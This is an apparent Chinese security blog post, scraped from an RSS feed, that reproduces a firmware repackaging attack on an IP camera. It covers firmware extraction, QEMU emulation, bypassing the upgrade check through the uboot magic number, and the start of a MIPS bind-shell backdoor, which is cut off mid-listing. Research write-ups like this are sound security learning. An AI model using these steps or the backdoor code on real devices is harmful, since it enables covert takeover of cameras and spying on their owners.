<p><a href="https://wechat2rss.xlab.app/link-proxy/?k=f31322be&amp;r=1&amp;u=https%3A%2F%2Fmp.weixin.qq.com%2Fs%3F__biz%3DMzUzMjcxMzg5Mg%3D%3D%26mid%3D2247488355%26idx%3D1%26sn%3D2be27894980960a8c890c10ea31c1698%26subscene%3D0">跳转微信打开</a></p>
]]></content:encoded>
      <pubDate>Tue, 22 Jun 2021 17:00:00 +0800</pubDate>
    </item>
    <item>
      <title>复现｜摄像头固件重打包</title>
      <link>https://mp.weixin.qq.com/s?__biz=MzUzMjcxMzg5Mg==&amp;mid=2247488237&amp;idx=1&amp;sn=c690c4cebdba6bc73cdce0635ee04a4a</link>
      <description>固件分析、仿真、校验绕过一把梭</description>
      <content:encoded><![CDATA[<p>
原创 <span>小R同学</span> <span>2021-06-18 17:00</span> <span style="display: inline-block;"></span>
</p>

<p>固件分析、仿真、校验绕过一把梭</p>
<p></p>



<p>
<img src="https://wechat2rss.xlab.app/img-proxy/?k=bbf6ee69&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_jpg%2Fdjiam4RadAPbBHRXaTibGjQ4tCPAAAXOuOHYhu77mX67zqnewCtq7uGH6fQxghlO8Br4y6NicolFahgib61kRJUnKw%2F0%3Fwx_fmt%3Djpeg"/>
</p>


<p style="text-align: center;" data-mpa-powered-by="yiban.io"><img class="rich_pages" data-galleryid="" data-ratio="0.4270216962524655" data-s="300,640" style="" data-type="png" data-w="2028" src="https://wechat2rss.xlab.app/img-proxy/?k=db13d6aa&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2Fdjiam4RadAPbBHRXaTibGjQ4tCPAAAXOuOIlUOY4YowUEx3Oe4HWXaoXlj5ibncLO4XJBZic95hyWTb9IqxSoiaFMyA%2F640%3Fwx_fmt%3Dpng"/></p><p><span style="color:#000000;font-family:Roboto, Oxygen, Ubuntu, Cantarell, PingFangSC-light, PingFangTC-light, Open Sans, Helvetica Neue, sans-serif;"><span style="font-size: 16px;letter-spacing: 2px;caret-color: rgb(167, 167, 167);">前两天w22师傅带来一个摄像头，在师傅的指导下复现了这个固件重打包漏洞，简单记录一下，又学到了很多不可描述的知识！</span></span></p><p><span style="color:#000000;font-family:Roboto, Oxygen, Ubuntu, Cantarell, PingFangSC-light, PingFangTC-light, Open Sans, Helvetica Neue, sans-serif;"><span style="font-size: 16px;letter-spacing: 2px;caret-color: rgb(167, 167, 167);"><strong><br/></strong></span></span></p><p style="text-align: center;"><span style="color:#000000;font-family:Roboto, Oxygen, Ubuntu, Cantarell, PingFangSC-light, PingFangTC-light, Open Sans, Helvetica Neue, sans-serif;"><span style="font-size: 16px;letter-spacing: 2px;caret-color: rgb(167, 167, 167);"><strong>!!文末另有</strong></span></span><span style="color:#000000;font-family:Roboto, Oxygen, Ubuntu, Cantarell, PingFangSC-light, PingFangTC-light, Open Sans, Helvetica Neue, sans-serif;"><span style="font-size: 16px;letter-spacing: 2px;caret-color: rgb(167, 167, 167);color: rgb(255, 41, 65);"><strong>福利</strong></span></span><span style="color:#000000;font-family:Roboto, Oxygen, Ubuntu, Cantarell, PingFangSC-light, PingFangTC-light, Open Sans, Helvetica Neue, sans-serif;"><span style="font-size: 16px;letter-spacing: 2px;caret-color: rgb(167, 167, 167);"><strong>哦!!</strong><br/></span></span></p><p><span style="background-color: rgb(255, 255, 255);color: rgb(0, 0, 0);font-family: Roboto, Oxygen, Ubuntu, Cantarell, PingFangSC-light, PingFangTC-light, &#34;Open Sans&#34;, &#34;Helvetica Neue&#34;, sans-serif;font-size: 16px;letter-spacing: 2px;caret-color: rgb(167, 167, 167);"><br/></span></p><p style="text-align: center;"><strong><span style="background-color: rgb(255, 255, 255);font-family: Roboto, Oxygen, Ubuntu, Cantarell, PingFangSC-light, PingFangTC-light, &#34;Open Sans&#34;, &#34;Helvetica Neue&#34;, sans-serif;font-size: 16px;letter-spacing: 2px;caret-color: rgb(167, 167, 167);color: rgb(255, 41, 65);">转发本文到朋友圈、参与抽奖获取</span></strong><span style="font-size: 18px;"><strong><span style="font-size: 18px;background-color: rgb(255, 255, 255);font-family: Roboto, Oxygen, Ubuntu, Cantarell, PingFangSC-light, PingFangTC-light, &#34;Open Sans&#34;, &#34;Helvetica Neue&#34;, sans-serif;letter-spacing: 2px;caret-color: rgb(167, 167, 167);color: rgb(255, 41, 65);">同款摄像头</span></strong></span><strong style="font-family: mp-quote, -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;"></strong></p><p><br/></p><p><span style="background-color: rgb(255, 255, 255);color: rgb(0, 0, 0);font-family: Roboto, Oxygen, Ubuntu, Cantarell, PingFangSC-light, PingFangTC-light, &#34;Open Sans&#34;, &#34;Helvetica Neue&#34;, sans-serif;font-size: 16px;letter-spacing: 2px;caret-color: rgb(167, 167, 167);">首先拿到摄像头后因为没有固件，于是这里直接使用编程器读取Flash芯片的内容[略]，接下来就是对固件进行分析、仿真、校验分析及绕过<br/></span></p><p><span style="background-color: rgb(255, 255, 255);color: rgb(0, 0, 0);font-family: Roboto, Oxygen, Ubuntu, Cantarell, PingFangSC-light, PingFangTC-light, &#34;Open Sans&#34;, &#34;Helvetica Neue&#34;, sans-serif;font-size: 16px;letter-spacing: 2px;caret-color: rgb(167, 167, 167);"><br/></span></p><p style="text-align: center;"><span style="background-color: rgb(255, 255, 255);color: rgb(0, 0, 0);font-family: Roboto, Oxygen, Ubuntu, Cantarell, PingFangSC-light, PingFangTC-light, &#34;Open Sans&#34;, &#34;Helvetica Neue&#34;, sans-serif;font-size: 16px;letter-spacing: 2px;caret-color: rgb(167, 167, 167);"><span style="color: rgb(63, 63, 63);font-family: Roboto, Oxygen, Ubuntu, Cantarell, PingFangSC-light, PingFangTC-light, &#34;Open Sans&#34;, &#34;Helvetica Neue&#34;, sans-serif;font-size: 22.4px;letter-spacing: 2px;text-align: center;caret-color: rgb(167, 167, 167);background-color: rgb(255, 255, 255);">1 文件系统<span style="color: rgb(63, 63, 63);font-family: Roboto, Oxygen, Ubuntu, Cantarell, PingFangSC-light, PingFangTC-light, &#34;Open Sans&#34;, &#34;Helvetica Neue&#34;, sans-serif;font-size: 22.4px;letter-spacing: 2px;text-align: center;caret-color: rgb(167, 167, 167);background-color: rgb(255, 255, 255);">提取</span></span></span></p><p><span style="background-color: rgb(255, 255, 255);color: rgb(0, 0, 0);font-family: Roboto, Oxygen, Ubuntu, Cantarell, PingFangSC-light, PingFangTC-light, &#34;Open Sans&#34;, &#34;Helvetica Neue&#34;, sans-serif;font-size: 16px;letter-spacing: 2px;caret-color: rgb(167, 167, 167);"><br/></span></p><p><span style="background-color: rgb(255, 255, 255);color: rgb(0, 0, 0);font-family: Roboto, Oxygen, Ubuntu, Cantarell, PingFangSC-light, PingFangTC-light, &#34;Open Sans&#34;, &#34;Helvetica Neue&#34;, sans-serif;font-size: 16px;letter-spacing: 2px;caret-color: rgb(167, 167, 167);">首先使用Binwalk提取固件，使用如下命令提取，-M参数的意思是以递归扫描提取文件，-e则为自动提取已知文件</span></p><section class="code-snippet__fix code-snippet__js"><ul class="code-snippet__line-index code-snippet__js"><li></li></ul><pre class="code-snippet__js" data-lang="nginx"><code><span class="code-snippet_outer"><span class="code-snippet__attribute">Binwalk</span> -Me</span></code></pre></section><p style="text-align: center;"><img class="rich_pages" data-galleryid="" data-ratio="0.23692307692307693" data-s="300,640" style="" data-type="png" data-w="1300" src="https://wechat2rss.xlab.app/img-proxy/?k=4813ea1d&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2Fdjiam4RadAPbBHRXaTibGjQ4tCPAAAXOuO75kFgtand7awXyIvibia6IsplVNJPGodjWZUI76Zjxic0ojbSllWLtwmg%2F640%3Fwx_fmt%3Dpng"/></p><p><span style="background-color: rgb(255, 255, 255);color: rgb(0, 0, 0);font-family: Roboto, Oxygen, Ubuntu, Cantarell, PingFangSC-light, PingFangTC-light, &#34;Open Sans&#34;, &#34;Helvetica Neue&#34;, sans-serif;font-size: 16px;letter-spacing: 2px;caret-color: rgb(167, 167, 167);">从上图中可以看出文件系统类型为squashfs，<strong>压缩格式为xz</strong></span><br/></p><p style="text-align: center;"><img class="rich_pages" data-galleryid="" data-ratio="0.17455621301775148" data-s="300,640" style="" data-type="png" data-w="1352" src="https://wechat2rss.xlab.app/img-proxy/?k=96571be8&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2Fdjiam4RadAPbBHRXaTibGjQ4tCPAAAXOuOYfgeibHVevbIgcXOeyoefwcxqGKZpP5XZ2yJtyTFh0mr6fPOeMuMia6g%2F640%3Fwx_fmt%3Dpng"/></p><p><span style="background-color: rgb(255, 255, 255);color: rgb(0, 0, 0);font-family: Roboto, Oxygen, Ubuntu, Cantarell, PingFangSC-light, PingFangTC-light, &#34;Open Sans&#34;, &#34;Helvetica Neue&#34;, sans-serif;font-size: 16px;letter-spacing: 2px;caret-color: rgb(167, 167, 167);">可以看到0.squashfs的大小为2886212字节</span></p><p><span style="background-color: rgb(255, 255, 255);color: rgb(0, 0, 0);font-family: Roboto, Oxygen, Ubuntu, Cantarell, PingFangSC-light, PingFangTC-light, &#34;Open Sans&#34;, &#34;Helvetica Neue&#34;, sans-serif;font-size: 16px;letter-spacing: 2px;caret-color: rgb(167, 167, 167);"><br/></span></p><p style="white-space: normal;text-align: center;"><span style="background-color: rgb(255, 255, 255);color: rgb(0, 0, 0);font-family: Roboto, Oxygen, Ubuntu, Cantarell, PingFangSC-light, PingFangTC-light, &#34;Open Sans&#34;, &#34;Helvetica Neue&#34;, sans-serif;font-size: 16px;letter-spacing: 2px;caret-color: rgb(167, 167, 167);"><span style="color: rgb(63, 63, 63);font-size: 22.4px;">2 固件分析<span style="font-size: 22.4px;"></span></span></span></p><p><br/></p><p><span style="background-color: rgb(255, 255, 255);color: rgb(0, 0, 0);font-family: Roboto, Oxygen, Ubuntu, Cantarell, PingFangSC-light, PingFangTC-light, &#34;Open Sans&#34;, &#34;Helvetica Neue&#34;, sans-serif;font-size: 16px;letter-spacing: 2px;caret-color: rgb(167, 167, 167);">首先分析一下/etc/init.d/rcS</span><strong><span style="background-color: rgb(255, 255, 255);color: rgb(0, 0, 0);font-family: Roboto, Oxygen, Ubuntu, Cantarell, PingFangSC-light, PingFangTC-light, &#34;Open Sans&#34;, &#34;Helvetica Neue&#34;, sans-serif;font-size: 16px;letter-spacing: 2px;caret-color: rgb(167, 167, 167);">（一般rcS为启动程序）</span><br/></strong></p><p style="text-align: center;"><img class="rich_pages" data-galleryid="" data-ratio="0.49155405405405406" data-s="300,640" style="" data-type="png" data-w="1184" src="https://wechat2rss.xlab.app/img-proxy/?k=19a86564&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2Fdjiam4RadAPbBHRXaTibGjQ4tCPAAAXOuOZq3hskOSNNZRfZ3nBia0CZeejHDEFddooMLaT510gdtKIMmDncs9icHQ%2F640%3Fwx_fmt%3Dpng"/></p><p><span style="background-color: rgb(255, 255, 255);color: rgb(0, 0, 0);font-family: Roboto, Oxygen, Ubuntu, Cantarell, PingFangSC-light, PingFangTC-light, &#34;Open Sans&#34;, &#34;Helvetica Neue&#34;, sans-serif;font-size: 16px;letter-spacing: 2px;caret-color: rgb(167, 167, 167);">可以看到他启动了一个goahead服务，并且挂载mtd后，启动了/mnt/mtd/startap</span></p><p><span style="background-color: rgb(255, 255, 255);color: rgb(0, 0, 0);font-family: Roboto, Oxygen, Ubuntu, Cantarell, PingFangSC-light, PingFangTC-light, &#34;Open Sans&#34;, &#34;Helvetica Neue&#34;, sans-serif;font-size: 16px;letter-spacing: 2px;caret-color: rgb(167, 167, 167);"><br/></span></p><p><span style="background-color: rgb(255, 255, 255);color: rgb(0, 0, 0);font-family: Roboto, Oxygen, Ubuntu, Cantarell, PingFangSC-light, PingFangTC-light, &#34;Open Sans&#34;, &#34;Helvetica Neue&#34;, sans-serif;font-size: 16px;letter-spacing: 2px;caret-color: rgb(167, 167, 167);">首先分析goahead，使用checksec命令或者file命令，可以看出是mips小端序</span></p><p style="text-align: center;"><img class="rich_pages" data-galleryid="" data-ratio="0.20967741935483872" data-s="300,640" style="" data-type="png" data-w="1736" src="https://wechat2rss.xlab.app/img-proxy/?k=7c46fbd6&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2Fdjiam4RadAPbBHRXaTibGjQ4tCPAAAXOuORH6XRu6J2icehHCz8ibN91BVwCefuwldav667Tfc2twZK9hIesn1eicVQ%2F640%3Fwx_fmt%3Dpng"/></p><p><span style="background-color: rgb(255, 255, 255);color: rgb(0, 0, 0);font-family: Roboto, Oxygen, Ubuntu, Cantarell, PingFangSC-light, PingFangTC-light, &#34;Open Sans&#34;, &#34;Helvetica Neue&#34;, sans-serif;font-size: 16px;letter-spacing: 2px;caret-color: rgb(167, 167, 167);">分析goahead程序，发现http目录的位置在/etc/webs中</span></p><p style="text-align: center;"><img class="rich_pages" data-galleryid="" data-ratio="0.49246231155778897" data-s="300,640" style="" data-type="png" data-w="1194" src="https://wechat2rss.xlab.app/img-proxy/?k=d3a5d40e&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2Fdjiam4RadAPbBHRXaTibGjQ4tCPAAAXOuOejT5aOhWia7uaqFPDmswO9Jn8JicmgruUPhx4E6uiabGxLsyHv3cZFoWQ%2F640%3Fwx_fmt%3Dpng"/></p><p><span style="background-color: rgb(255, 255, 255);color: rgb(0, 0, 0);font-family: Roboto, Oxygen, Ubuntu, Cantarell, PingFangSC-light, PingFangTC-light, &#34;Open Sans&#34;, &#34;Helvetica Neue&#34;, sans-serif;font-size: 16px;letter-spacing: 2px;caret-color: rgb(167, 167, 167);">在目录中发现一个可以上传固件升级的地方，他会把我们上传的固件交给cgi去处理：</span></p><p style="text-align: center;"><img class="rich_pages" data-galleryid="" data-ratio="0.5607843137254902" data-s="300,640" style="" data-type="png" data-w="1530" src="https://wechat2rss.xlab.app/img-proxy/?k=7ff0e989&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2Fdjiam4RadAPbBHRXaTibGjQ4tCPAAAXOuOxfsunxEJWykGvQykV3L1YIOxKa7AM1tRTontSwpwQFzVVoP7gYiaagQ%2F640%3Fwx_fmt%3Dpng"/></p><p style="text-align: left;"><span style="color: rgb(0, 0, 0);font-family: Roboto, Oxygen, Ubuntu, Cantarell, PingFangSC-light, PingFangTC-light, &#34;Open Sans&#34;, &#34;Helvetica Neue&#34;, sans-serif;font-size: 16px;letter-spacing: 2px;caret-color: rgb(167, 167, 167);background-color: rgb(255, 255, 255);">尝试访问一下该目录，发现为固件上传目录：</span></p><p style="text-align: center;"><img class="rich_pages" data-galleryid="" data-ratio="0.5113122171945701" data-s="300,640" style="" data-type="png" data-w="1326" src="https://wechat2rss.xlab.app/img-proxy/?k=27b3980a&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2Fdjiam4RadAPbBHRXaTibGjQ4tCPAAAXOuOK9EkhttibqBRJic4gpClFrDqLuFEgdBL9HOicnia4IOElqqNEpcFHicdwaQ%2F640%3Fwx_fmt%3Dpng"/></p><p style="text-align: left;"><span style="color: rgb(0, 0, 0);font-family: Roboto, Oxygen, Ubuntu, Cantarell, PingFangSC-light, PingFangTC-light, &#34;Open Sans&#34;, &#34;Helvetica Neue&#34;, sans-serif;font-size: 16px;letter-spacing: 2px;text-align: left;caret-color: rgb(167, 167, 167);background-color: rgb(255, 255, 255);">但</span><span style="color: rgb(0, 0, 0);font-family: Roboto, Oxygen, Ubuntu, Cantarell, PingFangSC-light, PingFangTC-light, &#34;Open Sans&#34;, &#34;Helvetica Neue&#34;, sans-serif;font-size: 16px;letter-spacing: 2px;text-align: left;caret-color: rgb(167, 167, 167);background-color: rgb(255, 255, 255);">如果随意上传文件，会提示如下错误：</span></p><p style="text-align: center;"><img class="rich_pages" data-galleryid="" data-ratio="0.391025641025641" data-s="300,640" style="" data-type="png" data-w="624" src="https://wechat2rss.xlab.app/img-proxy/?k=7d0a6c66&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2Fdjiam4RadAPbBHRXaTibGjQ4tCPAAAXOuOh6qMehPAlKzHcPFpYFqFImWdd2Gic6rZN7NycD0Xk8aPkkEoczFriboA%2F640%3Fwx_fmt%3Dpng"/></p><p style="white-space: normal;text-align: center;"><br/></p><p style="white-space: normal;text-align: center;"><span style="background-color: rgb(255, 255, 255);color: rgb(0, 0, 0);font-family: Roboto, Oxygen, Ubuntu, Cantarell, PingFangSC-light, PingFangTC-light, &#34;Open Sans&#34;, &#34;Helvetica Neue&#34;, sans-serif;font-size: 16px;letter-spacing: 2px;caret-color: rgb(167, 167, 167);"><span style="color: rgb(63, 63, 63);font-size: 22.4px;">3 环境搭建</span></span><br/></p><p><br style="white-space: normal;"/></p><p><span style="color: rgb(0, 0, 0);font-family: Roboto, Oxygen, Ubuntu, Cantarell, PingFangSC-light, PingFangTC-light, &#34;Open Sans&#34;, &#34;Helvetica Neue&#34;, sans-serif;font-size: 16px;letter-spacing: 2px;caret-color: rgb(167, 167, 167);background-color: rgb(255, 255, 255);">因为提取出固件了，所以我们这使用QEMU仿真运行，首先我们使用qemu启动Debian系统，再使用chroot命令切换到摄像头固件根目录：</span></p><section class="code-snippet__fix code-snippet__js"><ul class="code-snippet__line-index code-snippet__js"><li></li></ul><pre class="code-snippet__js" data-lang="nginx"><code><span class="code-snippet_outer"><span class="code-snippet__attribute">sudo</span> qemu-system-mipsel -M malta -kernel ./vmlinux-<span class="code-snippet__number">3</span>.<span class="code-snippet__number">2</span>.<span class="code-snippet__number">0</span>-<span class="code-snippet__number">4</span>-4kc-malta -hda ./debian_wheezy_mipsel_standard.qcow2 -append <span class="code-snippet__string">&#34;root=/dev/sda1 console=tty0&#34;</span> -net nic -net tap,ifname=tap0,script=<span class="code-snippet__literal">no</span>,downscript=<span class="code-snippet__literal">no</span> -nographic -s</span></code></pre></section><p><span style="color: rgb(0, 0, 0);font-family: Roboto, Oxygen, Ubuntu, Cantarell, PingFangSC-light, PingFangTC-light, &#34;Open Sans&#34;, &#34;Helvetica Neue&#34;, sans-serif;font-size: 16px;letter-spacing: 2px;caret-color: rgb(167, 167, 167);background-color: rgb(255, 255, 255);">内核及镜像下载地址：</span></p><section class="code-snippet__fix code-snippet__js"><ul class="code-snippet__line-index code-snippet__js"><li></li></ul><pre class="code-snippet__js" data-lang="javascript"><code><span class="code-snippet_outer">https:<span class="code-snippet__comment">//people.debian.org/~aurel32/qemu/mipsel/</span></span></code></pre></section><p><span style="background-color: rgb(255, 255, 255);color: rgb(0, 0, 0);font-family: Roboto, Oxygen, Ubuntu, Cantarell, PingFangSC-light, PingFangTC-light, &#34;Open Sans&#34;, &#34;Helvetica Neue&#34;, sans-serif;font-size: 16px;letter-spacing: 2px;caret-color: rgb(167, 167, 167);">挂载dev和proc，并chroot进固件中</span></p><p style="text-align: center;"><img class="rich_pages" data-galleryid="" data-ratio="0.1323251417769376" data-s="300,640" style="" data-type="png" data-w="1058" src="https://wechat2rss.xlab.app/img-proxy/?k=88a6cbb7&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2Fdjiam4RadAPbBHRXaTibGjQ4tCPAAAXOuOxib29r8UcSBcKu7EQoT5ftDqmPUBhuZ2BkNbYy0jyniak7JYxGGLHpVA%2F640%3Fwx_fmt%3Dpng"/></p><p><span style="background-color: rgb(255, 255, 255);color: rgb(0, 0, 0);font-family: Roboto, Oxygen, Ubuntu, Cantarell, PingFangSC-light, PingFangTC-light, &#34;Open Sans&#34;, &#34;Helvetica Neue&#34;, sans-serif;font-size: 16px;letter-spacing: 2px;caret-color: rgb(167, 167, 167);">启动gohead</span></p><p style="text-align: center;"><img class="rich_pages" data-galleryid="" data-ratio="0.7318611987381703" data-s="300,640" style="" data-type="png" data-w="1268" src="https://wechat2rss.xlab.app/img-proxy/?k=3dde5743&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2Fdjiam4RadAPbBHRXaTibGjQ4tCPAAAXOuOHCbEzkZvLfVyxUpjq9nw6BAz5wSTlB0keXibTia88BPs3gwn1B9BOq9w%2F640%3Fwx_fmt%3Dpng"/></p><p><span style="background-color: rgb(255, 255, 255);color: rgb(0, 0, 0);font-family: Roboto, Oxygen, Ubuntu, Cantarell, PingFangSC-light, PingFangTC-light, &#34;Open Sans&#34;, &#34;Helvetica Neue&#34;, sans-serif;font-size: 16px;letter-spacing: 2px;caret-color: rgb(167, 167, 167);">访问刚刚我们发现的目录</span></p><p style="text-align: center;"><img class="rich_pages" data-galleryid="" data-ratio="0.7027027027027027" data-s="300,640" style="" data-type="png" data-w="962" src="https://wechat2rss.xlab.app/img-proxy/?k=d9148e20&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2Fdjiam4RadAPbBHRXaTibGjQ4tCPAAAXOuOAlpawkkkQFGXUYSD4YcmCyac0oiaVDIn5LWwwAdOh5BMzagJFicRStsA%2F640%3Fwx_fmt%3Dpng"/></p><p style="text-align: center;"><img class="rich_pages" data-galleryid="" data-ratio="0.5567685589519651" data-s="300,640" style="" data-type="png" data-w="916" src="https://wechat2rss.xlab.app/img-proxy/?k=33e3126c&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2Fdjiam4RadAPbBHRXaTibGjQ4tCPAAAXOuOMNiagInnXyiabI5f1Rkm5DecQUtM7PbudBRakXXWGlDOsDFaqAfPgNMQ%2F640%3Fwx_fmt%3Dpng"/></p><p><span style="background-color: rgb(255, 255, 255);color: rgb(0, 0, 0);font-family: Roboto, Oxygen, Ubuntu, Cantarell, PingFangSC-light, PingFangTC-light, &#34;Open Sans&#34;, &#34;Helvetica Neue&#34;, sans-serif;font-size: 16px;letter-spacing: 2px;caret-color: rgb(167, 167, 167);"></span></p><p style="white-space: normal;text-align: center;"><span style="background-color: rgb(255, 255, 255);color: rgb(0, 0, 0);font-family: Roboto, Oxygen, Ubuntu, Cantarell, PingFangSC-light, PingFangTC-light, &#34;Open Sans&#34;, &#34;Helvetica Neue&#34;, sans-serif;font-size: 16px;letter-spacing: 2px;caret-color: rgb(167, 167, 167);"><span style="color: rgb(63, 63, 63);font-size: 22.4px;">4 固件上传校验分析及绕过</span></span></p><p><br style="white-space: normal;"/></p><p style="text-align: center;"><img class="rich_pages" data-galleryid="" data-ratio="0.9591836734693877" data-s="300,640" style="" data-type="png" data-w="1078" src="https://wechat2rss.xlab.app/img-proxy/?k=37cad702&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2Fdjiam4RadAPbBHRXaTibGjQ4tCPAAAXOuOxCGDHayCtf2a4JDMro9mS8r8ebFXicBDLiaUysmicDCCUBibfR3z9CsHwg%2F640%3Fwx_fmt%3Dpng"/></p><p style="text-align: center;"><img class="rich_pages" data-galleryid="" data-ratio="0.28363047001620745" data-s="300,640" style="" data-type="png" data-w="1234" src="https://wechat2rss.xlab.app/img-proxy/?k=798c5192&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2Fdjiam4RadAPbBHRXaTibGjQ4tCPAAAXOuOU1icF7jmwDlpIzFwQ4spoqoWiaFicunjI8vlWRwoRia8pib6m0mL0T5O6hQ%2F640%3Fwx_fmt%3Dpng"/></p><p><span style="background-color: rgb(255, 255, 255);color: rgb(0, 0, 0);font-family: Roboto, Oxygen, Ubuntu, Cantarell, PingFangSC-light, PingFangTC-light, &#34;Open Sans&#34;, &#34;Helvetica Neue&#34;, sans-serif;font-size: 16px;letter-spacing: 2px;caret-color: rgb(167, 167, 167);">打开IDA，分析gohead，搜索Bad Magic Number字符串</span></p><p style="text-align: center;"><img class="rich_pages" data-galleryid="" data-ratio="0.529559748427673" data-s="300,640" style="" data-type="png" data-w="1590" src="https://wechat2rss.xlab.app/img-proxy/?k=f45c5a35&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2Fdjiam4RadAPbBHRXaTibGjQ4tCPAAAXOuOPwtw9btIL0tzEPJ4Z9Uu4icdn2ibRxprYhjEuS16wJrpicT3k21noA3yQ%2F640%3Fwx_fmt%3Dpng"/></p><p><span style="background-color: rgb(255, 255, 255);color: rgb(0, 0, 0);font-family: Roboto, Oxygen, Ubuntu, Cantarell, PingFangSC-light, PingFangTC-light, &#34;Open Sans&#34;, &#34;Helvetica Neue&#34;, sans-serif;font-size: 16px;letter-spacing: 2px;caret-color: rgb(167, 167, 167);">在校验的过程中,它会获取一个地方取4个字节(Dword)与\x27\x05\x19\x56做一个字符串比较，而0x27051956正是uboot文件头的Magicnumber，与uboot的对比结构体如下</span><span style="background-color: rgb(255, 255, 255);color: rgb(0, 0, 0);font-family: Roboto, Oxygen, Ubuntu, Cantarell, PingFangSC-light, PingFangTC-light, &#34;Open Sans&#34;, &#34;Helvetica Neue&#34;, sans-serif;font-size: 16px;letter-spacing: 2px;caret-color: rgb(167, 167, 167);"></span></p><p style="text-align: center;"><img class="rich_pages" data-galleryid="" data-ratio="0.4319912948857454" data-s="300,640" style="" data-type="png" data-w="1838" src="https://wechat2rss.xlab.app/img-proxy/?k=66b2a70c&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2Fdjiam4RadAPbBHRXaTibGjQ4tCPAAAXOuOFuWprusOIXH81nOwhMnXgWvsApOyH5CmjS2LicM29qhnoicWONyGoGbQ%2F640%3Fwx_fmt%3Dpng"/></p><p><span style="background-color: rgb(255, 255, 255);color: rgb(0, 0, 0);font-family: Roboto, Oxygen, Ubuntu, Cantarell, PingFangSC-light, PingFangTC-light, &#34;Open Sans&#34;, &#34;Helvetica Neue&#34;, sans-serif;font-size: 16px;letter-spacing: 2px;caret-color: rgb(167, 167, 167);">最后还需要将文件名修改为<strong>appfw</strong><br/></span></p><p style="white-space: normal;text-align: center;"><br/></p><p style="white-space: normal;text-align: center;"><span style="background-color: rgb(255, 255, 255);color: rgb(0, 0, 0);font-family: Roboto, Oxygen, Ubuntu, Cantarell, PingFangSC-light, PingFangTC-light, &#34;Open Sans&#34;, &#34;Helvetica Neue&#34;, sans-serif;font-size: 16px;letter-spacing: 2px;caret-color: rgb(167, 167, 167);"><span style="color: rgb(63, 63, 63);font-size: 22.4px;">5 制作后门</span></span></p><p><br style="white-space: normal;"/></p><section class="code-snippet__fix code-snippet__js"><ul class="code-snippet__line-index code-snippet__js"><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li></ul><pre class="code-snippet__js" data-lang="cpp"><code><span class="code-snippet_outer"><span class="code-snippet__meta">#<span class="code-snippet__meta-keyword">include</span> <span class="code-snippet__meta-string">&lt;stdio.h&gt;</span></span></span></code><code><span class="code-snippet_outer"><span class="code-snippet__meta">#<span class="code-snippet__meta-keyword">include</span> <span class="code-snippet__meta-string">&lt;stdlib.h&gt;</span></span></span></code><code><span class="code-snippet_outer"><span class="code-snippet__meta">#<span class="code-snippet__meta-keyword">include</span> <span class="code-snippet__meta-string">&lt;string.h&gt;</span></span></span></code><code><span class="code-snippet_outer"><span class="code-snippet__meta">#<span class="code-snippet__meta-keyword">include</span> <span class="code-snippet__meta-string">&lt;sys/types.h&gt;</span></span></span></code><code><span class="code-snippet_outer"><span class="code-snippet__meta">#<span class="code-snippet__meta-keyword">include</span> <span class="code-snippet__meta-string">&lt;sys/socket.h&gt;</span></span></span></code><code><span class="code-snippet_outer"><span class="code-snippet__meta">#<span class="code-snippet__meta-keyword">include</span> <span class="code-snippet__meta-string">&lt;netinet/in.h&gt;</span></span></span></code><code><span class="code-snippet_outer"><br/></span></code><code><span class="code-snippet_outer"><br/></span></code><code><span class="code-snippet_outer"><span class="code-snippet__meta">#<span class="code-snippet__meta-keyword">define</span> SERVER_PORT    9999</span></span></code><code><span class="code-snippet_outer"> <span class="code-snippet__comment">/* CC-BY: Osanda Malith Jayathissa (@OsandaMalith)</span></span></code><code><span class="code-snippet_outer"><span class="code-snippet__comment">  * Bind Shell using Fork for my TP-Link mr3020 router running busybox</span></span></code><code><span class="code-snippet_outer"><span class="code-snippet__comment">  * Arch : MIPS</span></span></code><code><span class="code-snippet_outer"><span class="code-snippet__comment">  * mips-linux-gnu-gcc mybindshell.c -o mybindshell -static -EB -march=24kc</span></span></code><code><span class="code-snippet_outer"><span class="code-snippet__comment">  */</span></span></code><code><span class="code-snippet_outer"><span class="code-snippet__function"><span class="code-snippet__keyword">int</span> <span class="code-snippet__title">main</span><span class="code-snippet__params">()</span> </span>{</span></code><code><span class="code-snippet_outer">    <span class="code-snippet__keyword">int</span> serverfd, clientfd, server_pid, i = <span class="code-snippet__number">0</span>;</span></code><code><span class="code-snippet_outer">    <span class="code-snippet__keyword">char</span> *banner = <span class="code-snippet__string">&#34;[~] Welcome to @OsandaMalith&#39;s Bind Shell\n&#34;</span>;</span></code><code><span class="code-snippet_outer">    <span class="code-snippet__keyword">char</span> *args[] = { <span class="code-snippet__string">&#34;/bin/busybox&#34;</span>, <span class="code-snippet__string">&#34;sh&#34;</span>, (<span class="code-snippet__keyword">char</span> *) <span class="code-snippet__number">0</span> };</span></code><code><span 